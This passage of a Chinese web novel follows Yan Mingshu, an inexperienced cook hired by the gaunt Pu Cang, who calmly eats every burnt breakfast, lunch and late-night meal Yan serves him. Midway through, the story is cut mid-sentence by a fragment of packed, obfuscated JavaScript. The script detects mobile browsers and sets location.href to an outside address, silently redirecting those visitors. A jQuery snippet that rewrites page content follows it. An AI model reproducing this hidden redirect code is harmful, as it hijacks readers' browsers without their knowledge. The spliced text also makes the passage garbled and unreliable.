想到蒲沧吃饭时的样子,犹豫片刻:“蒲先生是不是有点……” 他扫了眼王婆拘谨的表情,没接着问下去。 都是打工人,背后说老板的闲话,不太好。 但金姐似乎意识到他想说什么,无声点了点头,又安慰:“但没关系,蒲先生很好说话,你做什么他都会吃一点,做多了你也可以吃,他都不管的。” 宴明舒笑笑,道谢:“好,听你们这么说我就放心了,我之前没怎么做过饭,以后还请两位姐姐多多指教。” 王婆摆了摆手:“不用不用。我们明天就不做了。” 宴明舒一怔。 金姐解释:“蒲先生吃得很少,平时也用不上两个阿姨,现在你来了,蒲先生的饮食由你全权负责,我们明天就要走了。” 金姐的语气里并没有责备。 但现实很明显,就是自己挤掉了她们的工作。宴明舒心里暗骂资本家不做人,甚至还有点看到自己未来的凄凉感,问:“那你们之后怎么办?” 金姐洒脱:“我们再去找新的雇主。没关系,这个小区很多户主想挖我们呢。” 宴明舒被她轻松的语气感染,也笑起来:“那等我也被取代了,就去找你们。” 金姐一口应下:“好!” 但她心里清楚,面前这个青年不会被取代。 在这里做饭大半年,这是第一个蒲先生亲自带回来、被安排住到次卧,并且可以一起吃饭的人。虽然说着是请来做饭的厨子,但光看行为,就知道是个对蒲先生来说非常重要的人。这样的人怎么会被取代呢? = 金姐王婆得知宴明舒之前压根没做过饭,临时加班带他到厨房,向他详细介绍了各个厨具的详细使用方式。 等到金姐王婆离开后,宴明舒查看了冰箱里的食材。 冰箱并不算特别满,但食材种类丰富,成色非常优秀。牛排花纹漂亮 ,蔬菜新鲜得不用掐都能滴出水来,宴明舒光看着都能想到做出来的食物能有多美味。 蒲沧没指定早上想吃什么,金姐说做什么都可以,宴明舒就根据自己想吃的东西,简单拟定明早的菜单——煎牛排、蔬菜沙拉,烤面包片当主食,再热一杯牛奶。 做好本职工作,心满意足回房间洗漱。给爸爸护工打电话,确定爸爸今天状态还算不错,这才收起手机闭上眼。 可能是前两天经历太多,身体疲惫精神紧绷,现在躺到柔软干净的床上,想着明天能吃到的美味早饭,他迅速忘了这是对自己来说非常陌生的环境,在一片黑暗里很快睡过去了。 第二天,七点半被闹钟吵醒。 睁开眼的一瞬间有些恍惚。 宴明舒本能觉得自己在医院照顾生病的爸爸,但坐起来看到陌生的环境,前两天发生的所有事情涌入脑海。 他被爷爷大伯赶出来后,又被一个宣称恨自己、有进食障碍的人,挖回家当厨子了。那个人九点上班,八点半要吃早饭。现在这个闹钟,是提醒自己要起床干活的闹钟。 宴明舒莫名颓废,看着床尾的蓝白制服,内心凄凉。 但最后还是套上蓝制服,洗漱,抹了把脸,去厨房做饭。 昨天已经计划好要吃什么,再加上金姐王婆教了使用技巧,宴明舒很有条理,打开冰箱门一鼓作气把食材和调理拿出来,有条不紊用碗碟分装好放到灶台上。 面包片涂上黄油,放到面包机里复烤。 只剩下牛排了,开火油煎,加上一点调料就结束了。 …… 宴明舒倒上油,等半分钟觉得油热了,就离一米远,用夹子夹住牛排丢进去。 热油果然溅起来,滋啦作响。 宴明舒等了一会儿,感觉油不溅了,就如法炮制再丢进去一块。 热油又沸腾起来。 他飞快远离,拿起小碗里剥好的蒜,打算切成蒜片。目光扫过刀具,谨慎的挑了个最小的,慢吞吞切着。 大蒜非常不规整,他切一下大蒜就会从刀下划走,如此反复,尝试许久后才总算切好了两枚蒜片。 丢到锅里,用煎出来的牛油烤香,给牛排增添别样风味…… 宴明舒想到这个味道都要流口水,他自信一丢,再用夹子把牛排翻过来。 …… 和锅底一样的焦黑。 ? 他不敢相信的把另一块牛排也翻过来。 同样的焦黑。 怎么会这样啊?! 他不敢再耽搁,飞快把洗好的小番茄放进锅里煎,同时往锅里拧胡椒盐和蒜粉。 那么现在问题又来了。 要放多少呢? 宴明舒硬着头皮拧了三圈,盯着锅里焦黑看不出任何反应的牛排两秒,硬着头皮又拧了三圈。 会不会不够? 再拧三圈。 没敢翻面,生怕翻一下都会让已经焦糊黑透的这面再受创伤,他只在心里默默计数,等了大概一分钟,就拿了两个盘子,小心翼翼把牛排夹出来。 这么一翻。 两面焦黑。 …… 锅里还有焦黄的蒜片,还有破了皮看上去软塌塌的小番茄。 宴明舒硬着头皮把它们都夹出来,把锅拿起来洗干净,重新加油,煎鸡蛋。 打鸡蛋的时候一开始没把鸡蛋敲开,敲了好几次弄了一手蛋清、不小心把蛋壳落到锅里、手忙脚乱把蛋壳夹起来、结果蛋壳没捡起来还把蛋黄搅得稀碎…… 宴明舒看着锅里一个完好无损一个蛋黄破碎还藏着蛋壳的鸡蛋,思索两秒,决定——把这个蛋黄破碎的煎蛋给蒲沧吃。 这么做了决定,他决心好好煎自己的鸡蛋,看鸡蛋边缘的蛋白已经开始固定,就拿起夹子翻面。 鸡蛋也是一样的焦黑。 他心如死灰,把蒲沧那个鸡蛋也翻过来。 他等了十秒,觉得鸡蛋这边也熟了,就要把鸡蛋夹起来。 但蒲沧的那个鸡蛋还好,他这个蛋黄完整的煎蛋,一面外皮虽然已经焦黑了,但一夹起来,外皮破开,蛋黄还是液体状,从破开的地方涌出来,划过焦黑的外皮。 …… 有点恶心。 宴明舒盯着这个恶心的煎蛋,把它回锅重造。 把煎蛋丢到锅里,眼不见心不烦的移开视线,目光扫到海盐罐,才想到鸡蛋还没有放盐。 已经熟了的食物加生盐不好吃。 而且反正都已经黑了,再煎煎也没事…… 他把蒲沧的那枚煎蛋也丢进锅里,开始拧盐。 一圈、两圈、三圈……应该够了吧…… 耳边突然传来流水和噗嗤噗嗤的声音。 宴明舒疑惑顺着声音看过去。 另一个灶台上的小奶锅不知道什么时候煮开沸腾了,现在牛奶顶开锅盖漾出来,顺着小锅落到灶台的火苗上,火苗明明灭灭好不可怜。 宴明舒心脏都要跳出来了,飞快把盐罐一丢,冲过去。 但站在灶台前急得转了两圈,才用水打湿抹布,垫着抹布硬着头皮把火关上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258716|166497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 随便把锅放到一边,他隔着抹布拿开锅盖。 刚刚倒进去足够两人喝的大半锅牛奶现在都漾出来了,只剩下一个还在沸腾的底子,仔细看过去,锅底也黏上了。 …… 算了,都给蒲沧喝吧。 他这么想,心里却莫名有了不好的预感。 为什么会有这种预感呢? 他缓缓把视线放到另一个锅里。 鸡蛋已经黑得看不清样子了,但宴明舒脑海里还记得它刚刚流蛋黄的恶心样子。 他盯着这两个鸡蛋很久,默默把它俩都放到属于蒲沧的盘子里。 至于牛排……把焦黑的地方切掉,应该可以拯救一下。 宴明舒拿起刀,试图把牛排糊掉的地方切掉。 但一手按着牛排一手拿刀切割,刚切开一小块,就注意到牛排煎太久老化的纤维。 光是看看都知道会有多难嚼。 算了。 宴明舒心虚的想——这个也给蒲沧吃吧。 自己还有面包片。 面包加黄油的组合,就算不好吃,也不会难吃。 他把早就烤好的面包夹出来。 黄油没有抹匀,被黄油浸过的地方看上去是焦褐色,而没被黄油浸的边缘,也是焦黑的。 宴明舒眼神逐渐无神,盯着这两片面包许久,嫌弃的把它们都堆到蒲沧的盘子里。 但看着这一盘子焦黑的东西,自己都不确定了。 金姐是说蒲沧吃得不多但做什么都会吃一点,但蒲沧有饮食障碍,就连味道不错的饭菜都吃得那么为难,现在看着这种东西,真能入口吗? …… 不能入口又怎么了,又不是自己的错。 自己一开始就告诉他了,自己不会做饭。他非要为难自己,既然都为难自己了,总要承担一点后果。 就是把食材弄成这样很浪费。 但都做成这样了,自己是不会吃这种东西的,就说是给蒲沧做的,如果他不吃,就是他浪费了,不关自己的事。 宴明舒很快说服了自己。 为了更合理的把浪费食物的帽子扣到蒲沧头上,他还认真给这些焦黑的食物做了造型。 黑得不是那么厉害的面包做表皮,把焦黑的牛排和煎蛋一层层堆上去。原本想做沙拉的蔬菜也不做沙拉了,装饰一样夹在里面,遮住不好看的地方。 两片面包两块牛排两个鸡蛋,再加上那么多蔬菜,两人份的东西堆起来那么厚一摞。宴明舒有点担心会散开,特地找了个签子固定住,然后再把糊锅的牛奶倒出来,把辛苦做好的东西放到餐桌上。 放好后这么打眼一看,他完全没有勇气直面自己做出来的这些东西,决定回到自己房间冷静冷静,复盘一下。 刚走出餐厅,就和迎面走来的蒲沧对上。 宴明舒尽量保持冷静,在原地站定,告诉蒲沧:“先生,早饭已经做好了。” 说完,他打算等蒲沧越过自己,就赶快溜之大吉。 但蒲沧在他面前停下,看他:“一起吃。” 宴明舒:“……” 被迫回到餐厅,看蒲沧坐下,目光放到盘子里那摞厚厚的食物上。 可能是感觉到蒲沧目光的重量,一片菜叶从牛排间滑下来。 而这片滑下来的菜叶好像一个开关,紧跟着整摞食物都塌了,倒在盘子里,露出焦黑的牛排和完全看不出样貌的煎蛋、软塌塌被挤出汁水的小番茄、被食物余温烫得蔫巴的菜叶。 宴明舒缓缓闭眼,不忍直视,硬着头皮告诉蒲沧:“这都是您的。我刚刚……已经吃过了。” 可再睁开眼,蒲沧拿着叉子叉起黑成碳的煎蛋,面不改色送到嘴边。 相较于昨天晚上吃饭的速度,现在甚至更快更急切一些,就这么送到嘴边,咬了一大口,飞快咀嚼吞咽,活像终于得到食物的饿死鬼,狼吞虎咽风卷残云。 宴明舒甚至在某个瞬间听到清脆的“咯嘣”声,意识到蒲沧是嚼到煎蛋里的蛋壳。但蒲沧完全没有停下来,继续咀嚼,好像什么都没吃到,把蛋壳一起咽下去。 焦黑的煎蛋、老得根本咬不动的牛排、蔫巴的菜叶,咬一口就掉渣的焦糊面包,甚至就连那两颗调味的小番茄,也被他叉起来送到肚子里。 一开始看到他吃煎蛋时只觉得他可能因为长期饮食障碍,味蕾出了问题。 但看他吃光全部食物,再想到昨天他吃饭时为难的样子,宴明舒完全就是敬佩了。 路遇异食癖神经病,恐怖如斯。 4. 第 4 章 吃完饭,蒲沧慢条斯理放下餐具,通知:“以后不要提前吃饭,和我一起吃。” “今天的午饭做好送到公司,十二点司机来接你。” 为什么要和自己一起吃?而且金姐不是说中午都在公司吃不用自己操心吗? 问题在心里转了一圈,没问出来。 都是打工人,问这些问题显得自己好逸恶劳不敬业不愿意干活不说,还连累前辈金姐。 他忍辱负重:“好。” 蒲沧起身离开。 宴明舒落后一步,看着餐桌上干净的餐具,意识到自己昨天忘了问,保持厨房整洁是不是也是自己工作的一部分。 他斟酌片刻,伸手去拿杯碟。 算了,就当自己附赠的扫尾服务吧。 但刚拿起盘子,腕上的紫檀珠子撞到餐桌,发出咯哒一声响。 蒲沧跟背后长了眼睛一样,说:“放下,会有人收。” 宴明舒乐得轻松,飞快放下。看蒲沧回到主卧,他就上了四楼,再次敲响金姐王婆房间门。 金姐和王婆还没走,但房间已经收拾得很干净了,只剩下三个很大的行李箱还有两个背包放在房间门口,把路挡得严严实实。 王婆看到是宴明舒,客气的笑,招呼:“是明明。” 她弯腰把行李箱推开,让出位置让宴明舒进来。 看这么麻烦,宴明舒都有点不好意思了,但实在有些问题,所以还是从行李箱间挤进去,和金姐王婆打了招呼,问:“蒲先生在食物上是不是有点特殊的癖好,比如喜欢烧焦了的炙烤风味?” 王婆的声音从门口传过来,苦恼:“这倒是没发现,请我们来就是做饭的,烧焦的东西怎么能送上雇主的餐桌呢?” 把所有东西都烧焦并且送上雇主餐桌的宴明舒:“……” 金姐注意到宴明舒的表情,轻咳了下,找补:“不过也有可能——蒲先生有说什么吗?” 宴明舒摇头:“没有。” 金姐:“那应该就没事。” “他还让我中午做饭给他送到公司。” 从来没遇到这种情况的金姐短暂惊讶,不慌不忙应对:“可能是你做的饭很和蒲先生的胃口,他想多尝尝。” 宴明舒:“……” 毕竟是自己昨天告诉宴明舒中午不用管,金姐也有点不好意思,安抚:“一个人的饭也好做,毕竟蒲先生给的工资高,中午随便做一点也行。” 宴明舒知道是这个道理,毕竟蒲沧给的工资不是一般的高。只是事实和金姐说的不一样,他想知道为什么,才来问问问。 不过显然金姐也和自己一样惊讶。 这件事也得不到答案。宴明舒有些失落,但还没走,打算向明显很会做饭的金姐王婆寻求帮助。 可金姐的手机突然响起来,她接通,对电话那头的人说:“好,麻烦你等一下,我们……我等会儿再给你打过去。” 宴明舒意识到什么,问:“怎么了?” “我们叫了车,他已经到了,司机打的电话。” 宴明舒让开:“那你们赶紧下去吧。” 金姐:“你是还有事吗?要不先把你的事情解决掉我们再下去。” 宴明舒是想让她俩教自己实操一遍。包括怎么调整火候,怎么判断食物生熟程度,调料加多少算合适。 但这件事显然耗时耗力,而现在金姐和王婆的车都已经到了…… 他说:“没事。” 帮金姐王婆把行李拎下去,目送她们离开。 回头一看,发现现在才九点多。 他七点起床,一直到现在都还没吃饭。 要不,精心给自己制作一份美味的早餐,顺便摸索到底怎样才能驯服厨房,等吃完早饭再给蒲沧做午饭? 说干就干。 宴明舒重新回到厨房,打开冰箱。 因为早上煎鸡蛋的惨状,他暂时不想吃煎制的任何东西,决定给自己煮一份奶油蘑菇汤,再做一份土豆泥沙拉当主食。 至于蒲沧的午饭,就给他做番茄意面。 宴明舒找出所有食材,开始前期处理。 …… 十一点五十,司机开车驶入院子,下车按铃。两分钟后,门开了。 宴明舒眉毛上还带着薄薄一层面粉,看到门外的司机,有些心虚的把他引进来,从厨房拿出自己装备好的午饭。 保温袋里装了三个餐盒,看上去沉甸甸的。 他说:“做好了,麻烦您给蒲先生带过去吧。” 司机有些为难:“蒲先生让我来接您,要不您也跟着走一趟?” 都是打工人,总不能不配合。 宴明舒只好说:“那您稍等,我去……” 他想去换件合体一点的衣服,但转念一想,自己所有的衣服都在家里,被爷爷丢出来弄得脏兮兮的,根本也没拿。现在仅有的两套衣服,都是蓝白制服。 就连最后一点拖延的理由都没有了,宴明舒气馁:“走吧。” = 二十分钟后,宴明舒下车,助理在等他,带他上总裁专用电梯,很快就到了蒲沧办公室所在的楼层。 往蒲沧办公室走时,宴明舒瞥到外面秘书处的办公室里,工作人员正在吃饭。大部分都是点的外卖,热气腾腾,起码看上去是好吃的。还有些小姑娘的桌上还有加满果肉的奶茶,以及香软的甜点。 这时候,助理推开蒲沧办公室的门 宴明舒硬着头皮走进去,和蒲沧打招呼:“久等了。” 他把保温袋放到沙发前的桌子上,面朝蒲沧彬彬有礼,“蒲先生,您的午饭在这里,如果没什么事的话我就回去了。” 蒲沧:“一起吃。” 宴明舒脸上的笑容僵硬些许,客气:“我以为您是让我早上和您一起吃,所以刚刚,我已经吃过了。” 蒲沧深深的看着他,不置可否。 宴明舒有些心虚,但脸上一点没表露出来。 半晌,还是蒲沧先移开视线,打开保温袋,拿出里面的餐盒。 一盒里装着黑白相间不知道什么东西的糊状物。 一盒装着淡黄、深黄、绿色相间的固装物。 一盒装着颜色诡异的固装糊状混合物。 蒲沧打开这些东西,拿起筷子和勺子。 他先用勺子舀了一勺第一盒里的糊状物。 蘑菇和虾仁炒糊了,仓促间宴明舒把辣椒粉当胡椒粉丢进去,辣椒和奶油的味道融合在一起,宴明舒光闻到都难受。 但蒲沧嚼碎炒焦后又被煮得软塌塌的蘑菇,咽下去。又用勺子挖了一勺三色混合的固装物。 是土豆沙拉,土豆泥加上水煮蛋以及青菜。 宴明舒本人是想给土豆泥里加上牛奶搅拌顺滑,再加上水煮蛋和青菜,用调料拌匀的。 但他捣土豆时才发现土豆只是外面熟了,里面还是硬心根本捣不碎,加上再多牛奶,也只是让土豆从泥变成稀泥。鸡蛋也没捣好,加上青菜混在一起,成品已经很恶心了,再加上调料,拌不匀就算了,食物样式还越拌越恶心,色香味弃权。 现在光看着蒲沧挖起,他都悄悄偏过头去,闭了闭眼。 再睁眼看过来时,蒲沧已经咽下去了,还拿起筷子,开始拌最后一盒的食物。 这是唯一能看出是什么东西的食物。 因为用筷子拌一下,就能看到被淹没在颜色诡异酱料下的意面。 宴明舒把肉酱炒糊了,自认唯一能吃的,就是自己参与度最少的纯意面。 但蒲沧认真搅拌,让意面裹满酱料,这才往嘴里送。 宴明舒充满敬佩的,看着他雨露匀沾,把这三盒难吃东西吃了个七七八八。 还剩下一点。 但蒲沧放下餐具,不吃了。 宴明舒松了口气,要把这些恶心东西倒掉,拿着餐具回家。 他刚要碰到餐盒,蒲沧拦住他。 手腕撞在一起,宴明舒感觉到他突起的骨骼,又硬又凉,像块石头。 蒲沧:“放下。” 宴明舒收了手,看他。 蒲沧:“我今晚有个应酬,晚饭不用做了,十点做好夜宵,我回去吃。” 宴明舒点头,等蒲沧的下一句指示。 比如让自己不要吃饭,等他一起。 但蒲沧说:“不用等我,你饿了就吃。” 宴明舒应:“那我回去了?” 蒲沧:“回去吧。” 宴明舒就走了。回去路上琢磨着蒲沧口中十点要吃的夜宵,没想出夜宵要做什么,反而越想越奇怪。 蒲沧说晚上不吃,十点要吃夜宵不就好了,干嘛还要和自己说晚上有应酬。而且不用等他饿了就吃这种理所当然的话干嘛还说,难道自己还会饿了不吃非等他回来再一起吃吗。 弄得好像在报备行程一样,奇怪。 = 五点,助理去茶水间吃了点小面包垫肚子,随后去总裁办公室,打算提醒蒲沧晚上有饭局,提前吃些东西,喝酒才不会难受。 虽然他之前每次提醒,蒲沧也都不会吃东西,但他每次还是走流程的关心一下。 推开门发现蒲沧没在办公桌前坐着,而是在门口隔开的小型茶水间里,正在吃饭。 餐盒里是一坨看不出什么东西,但形状奇怪会让人想歪的恶心东西。蒲沧面不改色,用勺子挖着一口口吃下。而柜子上的微波炉正在工作,里面还有一个餐盒。 他看过去时,微波炉“叮”一声。蒲沧拿出餐盒,并把另一个餐盒送进去加热。 而这个已经热好的餐盒里,是黑白相间的糊糊,在助理好奇又敬畏的目光下,糊糊还在噗呲呲冒泡,像动画片里女巫用金鱼眼、青蛙腿煮出来的魔药。 助理:“……” 蒲沧似乎完全不觉得这个会因为加热而冒泡的糊糊有什么问题,用勺子舀起送到嘴里。 过于惊讶,助理都忘了说话。 直到蒲沧等到不耐烦,看了他一眼。助理这才想到自己的来意,提醒:“蒲总,六点和傅总有饭局。” “既然你已经在吃饭,那就……” 说话间,微波炉又“叮”了一声,蒲沧把最后一个餐盒也拿出来,接着吃。 助理看着他面前这三个完全看不出装了什么东西的餐盒,干巴巴:“那就太好了。” = 晚上,宴明舒接到了爸爸的电话。 爸爸的精神更好了,正在吃饭。是煮得软烂的鸡肉、用鸡汤煮的面条,面条里有鲍鱼、虾仁、绿油油的小青菜,还卧着一颗刚刚好的煎蛋。 宴明舒看着爸爸桌子上的饭菜,肚子咕噜噜直叫唤。 早上煎焦的东西都给了蒲沧,中午想给自己做饭,也都做坏了,他一并拿给蒲沧当午饭了。 十二点从蒲沧公司回来后,实在是太饿了,给自己煮了两个水煮蛋和一碟水煮虾,想给自己调个料汁沾着吃,但尝了一口还不如生吃。他就那么生吃了,但即使鸡蛋再新鲜,虾再鲜甜,没味道就是没味道,吃完肚子还是空落落的。过了几个小时,现在看爸爸正在吃的饭,馋虫都被勾起来了。 爸爸正在吃的鸡汤面,光是鸡汤就需要熬上三个多小时,现在是做不成了。不过可以吃个低配版。 宴明舒翻出冰箱里的手工面,还有鸡胸肉,又拿出两枚鸡蛋,决心汲取早上的经验,精 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虽然还是不好吃,但总算不是焦黑的了。 大功告成。 之后只需要把面条煮好,一顿夜宵就这么结束了。 拿着空空如也的小盆,他打算回厨房煮面。一抬头,对上蒲沧无机质的那双眼,心脏漏跳一拍。 怎么回来了一点声音也不出,就这么站着,也不知道看了多久。 宴明舒很快缓过来,问:“十点了吗?” “九点。” 原来是提前回来,不是自己做晚了。 宴明舒拿着盆起身:“那你现在吃夜宵吗?” “吃。” “清汤面好不好?” “好。” 都是肯定的答案,但宴明舒反而更心虚了。 他拿着盆到了厨房,十分钟后,端着满满一碗清汤面出来了。 不用他动手的成品手工面和水灵灵的小青菜看上去倒是不错,只是上面焦黑的两个煎蛋破坏了美感和食欲。 如果说早上给蒲沧吃这种东西时,宴明舒还非常局促想要逃避事实,那经过这一天的锻炼,他已经能过比较自然的把这碗东西放到蒲沧面前了。 只是依旧不好意思,放下后就退到一边,因为有话要说,没有第一时间离开。 蒲沧:“你的呢?” 他的那一份面吃了两口就倒掉了,煎蛋光看到成品就不想吃,现在在蒲沧碗里呢。 自己做的饭自己都不吃,说出来也挺心酸。 宴明舒说:“我吃过了。” 或许是中午就说过晚上不用等他饿了就先吃,这次蒲沧没说什么,得到答案就低头吃饭。 宴明舒给自己煮面时煮了三分钟,吃的时候发现有股生粉味,再加上汤底酱油味很突兀,实在吃不下。所以给蒲沧煮时,汲取教训,煮了整整六分钟,还没放酱油,只放了一点盐。 他确信这一碗面条一定煮熟了。 但似乎有点熟过头了。 蒲沧刚拿筷子一夹,面条就断成两截滑下去,溅起面汤。 宴明舒:“……” 他体贴拿来勺子。 蒲沧接过勺子,配着他做的凉拌鸡丝,开始一勺一勺的吃面条。 宴明舒看他吃饭的侧脸,提出需求:“今天的工资能不能提前预支,我要买点东西。” 蒲沧:“买什么?” “衣服。” 蒲沧看他,目光在蓝白制服上扫过。 宴明舒:“工作期间我会穿工作服的,但我需要其他衣服。” 为了让自己的需求显得更加合理,他补充,“我现在连睡衣和内裤都没有,今天洗完澡就要裸睡了。” 他甚至没有足够包裹整个身体的浴巾,昨天晚上洗完澡只能用小毛巾一点点擦干,然后用洗衣机把内裤洗好烘干,才能保证有干净又干燥的内裤穿。 正在吃面条的蒲沧突然被呛到,偏过头去咳嗽。 是不是鸡丝里的辣椒太辣辣到了?还是鸡蛋糊得太厉害卡到了?或者是面条太烂呛到气管了? 宴明舒上前去拍他的后背:“怎么了?” 隔着衣物,手心能摸到蒲沧的每一块骨头,瘦伶伶的突出来。宴明舒的动作越来越轻,生怕力气大一点就会把这个没有肌肉支撑的骨架排散。 好在蒲沧只咳了两声,很快平复好呼吸。 宴明舒收手,问:“可以吗。” 蒲沧:“不可以。” 宴明舒:“……” 他后悔自己用询问的语气了。现在强调:“可我真的没有衣服穿。” 蒲沧无声加快吃饭速度:“等着。” 宴明舒:“……” 等什么等,等会儿就给我预支薪水了? 不过反正现在也没什么事,他就坐下等着,看蒲沧一口面条一口鸡丝,大口大口吃饭。 蒲沧的手很大,手指修长,因为太瘦骨节明显,而手背和手指上,有些深褐暗红的痕迹。 ? 宴明舒认得这个痕迹,是冻疮。 冬天太冷生了冻疮,冻得太厉害,溃烂流脓,就算开了春天气暖和起来,手上生过冻疮的地方还是会有这样的痕迹。 他没长过,身边也没人长过。 第一次知道冻疮这东西,是十八岁被爷爷丢去山里支教,从山里小孩口中得知的。 实在是太陌生,知道时过于震惊,所以一直到现在都印象深刻。 不过蒲沧不是蒲家的人吗,怎么还会有冻疮呢? 5. 第 5 章 深夜寂静。 哪怕知道这栋房子里其实还有很多人,但现在这个餐厅里只有他们两个。灯光明亮,只有蒲沧用勺子喝面条的窸窣声音。 宴明舒盯着蒲沧手上的冻疮,思绪起伏。 他家倒是没什么私生子的丑闻,他妈去世二十年了,他都不怎么记得妈妈的长相了,但他爸一直记挂着,从来没想过找其他人。所以他不知道私生子是什么处境,也不需要为了家产和父母宠爱勾心斗角。不过他听别人讲过蒲家的八卦,人太多,斗争起来格外狠毒。 难道蒲沧小时候也跟灰姑娘一样,吃不饱暖不暖还得天天做家务?从小没东西吃,现在才这么瘦,就连自己做的东西都能这么轻易送进口。 这么想想还挺可怜的。 也不对啊,他现在已经很有钱了。金姐做的饭味道就挺不错,他怎么就不这么大口吃? 不明白。 还在想呢,蒲沧把所有东西吃光,放下餐具,示意他跟着。 宴明舒跟上,一路跟着蒲沧到了衣帽间。 蒲沧拉开其中一扇衣柜门:“都是新的,自己挑。” 宴明舒:“……” 自己现在需要的是钱,有了钱自己会去买自己喜欢的衣服。 ——不对,衣柜里好像都是自己最喜欢的潮服品牌最新款。 不过他说是新的就是新的了?万一他穿过呢,自己可不穿别人穿过的衣服。 ——不对,吊牌虽然都摘了,但衣领袖口的定位线都没拆,好像就是新的。 不过这是蒲沧的衣服,尺码适合自己吗? 宴明舒这么想,手却有了自己的想法,拿出其中一套衣服。 都不用试他就知道,就是自己的尺码。 宴明舒的心情瞬间就好了,不客气的把自己喜欢的都挑走,高高兴兴告诉蒲沧:“就这些吧,衣服的钱从我工资里扣。” 蒲沧没说话。 宴明舒抱着衣服要回自己房间,走了两步又想到什么,回头:“我还没有内裤。” 蒲沧咬肌微动,拉开抽屉。 宴明舒双手都抱着衣服,现在腾不出手:“我拿不到。” 蒲沧拿了一盒,放到他衣服最上面。 宴明舒垂眸看到盒子上标着的尺码,欲言又止,但哽了哽,只又说了一遍谢谢,离开了。 回到自己房间,宴明舒先把那盒新内裤洗了烘干,这才去洗澡。 洗完澡换上新内裤和柔软的睡衣,站在浴室里吹头发。 吹一会儿,伸手提提往下滑的内裤。 …… 内裤有点大。 凉飕飕的。 …… 蒲沧看上去那么瘦,是把营养全拿来长这玩意上了吗? = 晚上睡前宴明舒跟巡视领土的国王一样,巡视了厨房冰箱,泡上黄豆和糯米,给自己列了明天早饭的菜单。 美龄粥,烤肉肠、蛋饼,再腌一个脆爽可口的酸黄瓜。 第二天闹钟一响,他就爬起来,洗漱后冲到厨房。 把豆子全部放进去开始打豆浆。趁豆浆机工作的时间,他开始削山药。 没做过这种活,带着手套更是不习惯,削了很久才把山药削好,随便切成段放到锅里,再把糯米燕麦也放到锅里,等豆浆打好了,一起放到锅里。 不过豆子好像泡多了,现在的豆浆非常浓郁。 他想了想,把满满一壶豆浆一分为二。一半早上煮美龄粥,一半晚上喝豆浆。 锅里煮着粥,他开始处理小黄瓜,切成歪歪扭扭的长条,用醋、糖、盐、生抽泡上。 冰箱里的肉肠拿出来,刷上一层油,放到烤盘送进烤箱。 再打上鸡蛋,加面、小葱、牛奶,搅拌成面糊。 面多了加鸡蛋牛奶,觉得太稀了就再加面。 如此反复,他搅拌的工具从小碗变成了大盆,才终于得到一盆自己觉得满意的面糊。 一直到这一步,虽然因为经常不做饭动作不熟练有些波折,但总体来说非常成功,没有任何意外。 宴明舒都要觉得自己非常有做饭天赋,幻想自己觉醒宴家的做饭血脉,从此一鸣惊人成为新一代烹饪大师,扛起宴家的大旗,狠狠打那些看不起自己的人的脸了。 直到他拿出摊煎饼的平底锅,刷上油,把面糊液倒进去。 …… 面糊-100。 边缘凹凸不平、中间破洞、一边薄一边厚、薄的那边焦黑厚的那边中间没熟透、形象各异但没一个正常的蛋饼+7。 铲子-1。 …… 在他手忙脚乱摊蛋饼时,另一边锅里的美龄粥又漾出来了 。 宴明舒心如死灰,简单收拾残局,同时尝了一小口。 完蛋。 那山药不是铁棍山药,是淮山山药,口感脆脆的。 他认不出来,但尝出来了。 = 蒲沧八点二十来到餐厅,早饭已经在桌子上放着了。 一碟腌黄瓜。 一碟烤得滋滋冒油的肉肠铺在绿色蔬菜上。 一盘摞在一起的蛋饼,最上面那张有些不平整,但看上去色泽金黄很是诱人。 宴明舒还在厨房捣鼓,头发有点乱,后颈有块骨头圆圆的突出来,像雪地里一颗剥了皮的冻荔枝。 他的二十六,好像和十八岁也没太大区别。看上去好像更成熟更能适应成年世界,实际上依旧挑食,依旧娇气,依旧以自我为中心没心没肺,做饭的手艺也依旧那么差劲。 似乎是察觉到他的视线,宴明舒回头看过来,眼睛滴溜溜的,眼尾飞起来,神采飞扬。 蒲沧感觉到自己心脏快速跳动,速度太快,那一瞬间整个胸腔甚至都是疼的。 他想,宴明舒果然还和以前一样。 依旧…… 那么让人讨厌。 = 虽然非常不敬业不道德。 但宴明舒就是在给蒲沧盛粥。 把口感脆脆、和软糯丝滑粥体非常不符的山药全部盛到蒲沧碗里。 他煮粥时不太清楚分量,用了整整一根,豆浆之前也放了很多,沸腾后漾出来很多,只剩下一点点。就导致他哪怕只给蒲沧纯山药堆,也只能留下大半碗粥。 所以捞了半天山药,他看着最后一层稀粥,还是把粥全部倒进蒲沧碗里了。 端着整碗粥转过身,发现身后不知道看了多久的蒲沧。 因为有过前科,这次也没太惊讶,自然而然走过去,招呼:“可以吃饭了。” 蒲沧回到餐桌前坐下:“一起吃。” 宴明舒把粥碗放到他面前,跟着一起坐下。 粥是不喝的。 蛋饼也是不会吃一口的。 他目标明确,叉了根肉肠。 没有特别好吃,也挑不出什么毛病。这种自己参与度低的半成品果然是最香的。 他低头认真吃,余光注意到蒲沧把最上面那张蛋饼翻过来。 叠起来的地方破了个大窟窿。 而底下的那张,焦糊。 蒲沧把几张蛋饼一一翻过来,就第一张的品相还好一点。 时刻注意着他动静的宴明舒已经汗流浃背了,他移开视线,决定假装一无所知。 但蒲沧只是把品相最好的那张蛋饼放到碟子里,推到他面前:“吃。” 宴明舒摆手:“不用,你吃,快趁热吃。” 他尝过了。 给这张品相最好的蛋饼翻面时,不小心把中间戳出来个窟窿,掉下来小片蛋饼。他尝了尝,盐放得太少,葱花完全没有发挥去腥的作用,蛋腥和奶腥混在一起,冲得他一佛出世二佛升天。现在想到那个味道都心有余悸。 然后就这么看着蒲沧面不改色开始吃,好像尝不到腥味,也尝不到糊味。 宴明舒把肉肠吃光,叉了块腌黄瓜。被酸得面目狰狞,艰难咽下去后对这个爽口小咸菜也敬而远之,又叉了根肉肠。 蒲沧又问:“你的粥呢?” 宴明舒:“没注意火候,粥漾出来了,只剩下这么一点,给你喝吧。” 蒲沧没说话,尝了口粥。 宴明舒无意识觑他的表情,试图判断出他对这碗粥的评价。 蒲沧:“没怪味,为什么不喝?” 宴明舒:“……” 